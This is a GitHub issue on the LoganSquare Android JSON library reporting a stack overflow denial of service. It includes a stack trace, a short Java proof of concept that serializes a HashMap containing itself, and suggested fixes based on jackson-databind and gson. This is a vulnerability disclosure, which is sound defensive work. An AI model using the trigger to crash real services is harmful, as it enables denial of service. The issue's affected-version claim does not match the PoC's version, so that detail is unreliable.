bluelinelabs / LoganSquare

Screaming fast JSON parsing and serialization library for Android.
Apache License 2.0
3.21k stars 306 forks source link

Stack overflow error caused by logansquare serialization Map #238

Open PoppingSnack opened 1 year ago

PoppingSnack commented 1 year ago

Stack overflow error caused by logansquare serialization Map

Description

logansquare before v1.3.7 was discovered to contain a stack overflow via the map parameter. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted string.

Error Log

Exception in thread "main" java.lang.StackOverflowError
    at java.base/java.lang.String.getChars(String.java:854)
    at com.fasterxml.jackson.core.json.WriterBasedJsonGenerator._writeString(WriterBasedJsonGenerator.java:1087)
    at com.fasterxml.jackson.core.json.WriterBasedJsonGenerator._writeFieldName(WriterBasedJsonGenerator.java:190)
    at com.fasterxml.jackson.core.json.WriterBasedJsonGenerator.writeFieldName(WriterBasedJsonGenerator.java:155)
    at com.bluelinelabs.logansquare.JsonMapper.serialize(JsonMapper.java:312)
    at com.bluelinelabs.logansquare.internal.objectmappers.MapMapper.serialize(MapMapper.java:26)
    at com.bluelinelabs.logansquare.internal.objectmappers.MapMapper.serialize(MapMapper.java:14)
    at com.bluelinelabs.logansquare.internal.objectmappers.ObjectMapper.serialize(ObjectMapper.java:65)
    at com.bluelinelabs.logansquare.JsonMapper.serialize(JsonMapper.java:316)
    at com.bluelinelabs.logansquare.internal.objectmappers.MapMapper.serialize(MapMapper.java:26)
    at com.bluelinelabs.logansquare.internal.objectmappers.MapMapper.serialize(MapMapper.java:14)
    at com.bluelinelabs.logansquare.internal.objectmappers.ObjectMapper.serialize(ObjectMapper.java:65)
    at com.bluelinelabs.logansquare.JsonMapper.serialize(JsonMapper.java:316)
    at com.bluelinelabs.logansquare.internal.objectmappers.MapMapper.serialize(MapMapper.java:26)
    at com.bluelinelabs.logansquare.internal.objectmappers.MapMapper.serialize(MapMapper.java:14)
    at com.bluelinelabs.logansquare.internal.objectmappers.ObjectMapper.serialize(ObjectMapper.java:65)
    at com.bluelinelabs.logansquare.JsonMapper.serialize(JsonMapper.java:316)
    at com.bluelinelabs.logansquare.internal.objectmappers.MapMapper.serialize(MapMapper.java:26)
    at com.bluelinelabs.logansquare.internal.objectmappers.MapMapper.serialize(MapMapper.java:14)
    at com.bluelinelabs.logansquare.internal.objectmappers.ObjectMapper.serialize(ObjectMapper.java:65)
    at com.bluelinelabs.logansquare.JsonMapper.serialize(JsonMapper.java:316)
    at com.bluelinelabs.logansquare.internal.objectmappers.MapMapper.serialize(MapMapper.java:26)
    at com.bluelinelabs.logansquare.internal.objectmappers.MapMapper.serialize(MapMapper.java:14)
    at com.bluelinelabs.logansquare.internal.objectmappers.ObjectMapper.serialize(ObjectMapper.java:65)
    at com.bluelinelabs.logansquare.JsonMapper.serialize(JsonMapper.java:316)
    at com.bluelinelabs.logansquare.internal.objectmappers.MapMapper.serialize(MapMapper.java:26)
    at com.bluelinelabs.logansquare.internal.objectmappers.MapMapper.serialize(MapMapper.java:14)
    at com.bluelinelabs.logansquare.internal.objectmappers.ObjectMapper.serialize(ObjectMapper.java:65)
    at com.bluelinelabs.logansquare.JsonMapper.serialize(JsonMapper.java:316)
    at com.bluelinelabs.logansquare.internal.objectmappers.MapMapper.serialize(MapMapper.java:26)
    at com.bluelinelabs.logansquare.internal.objectmappers.MapMapper.serialize(MapMapper.java:14)
    at com.bluelinelabs.logansquare.internal.objectmappers.ObjectMapper.serialize(ObjectMapper.java:65)
    at com.bluelinelabs.logansquare.JsonMapper.serialize(JsonMapper.java:316)

PoC

        <dependency>
            <groupId>com.bluelinelabs</groupId>
            <artifactId>logansquare</artifactId>
            <version>1.3.7</version>
        </dependency>
import com.bluelinelabs.logansquare.LoganSquare;

import java.io.IOException;
import java.util.HashMap;

public class PoC2 {

    public static void main(String[] args) {
        HashMap<String,Object> map=new HashMap<>();
        map.put("t",map);
        try {
            LoganSquare.serialize(map);
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

Rectification Solution

  1. Refer to the solution of jackson-databind: Add the depth variable to record the current parsing depth. If the parsing depth exceeds a certain threshold, an exception is thrown. (https://github.com/FasterXML/jackson-databind/commit/fcfc4998ec23f0b1f7f8a9521c2b317b6c25892b)

  2. Refer to the GSON solution: Change the recursive processing on deeply nested arrays or JSON objects to stack+iteration processing.((https://github.com/google/gson/commit/2d01d6a20f39881c692977564c1ea591d9f39027))

References

  1. https://github.com/jettison-json/jettison/issues/52
  2. https://github.com/jettison-json/jettison/pull/53/files
NBXXF commented 9 months ago

you can use https://github.com/NBXXF/gson_plugin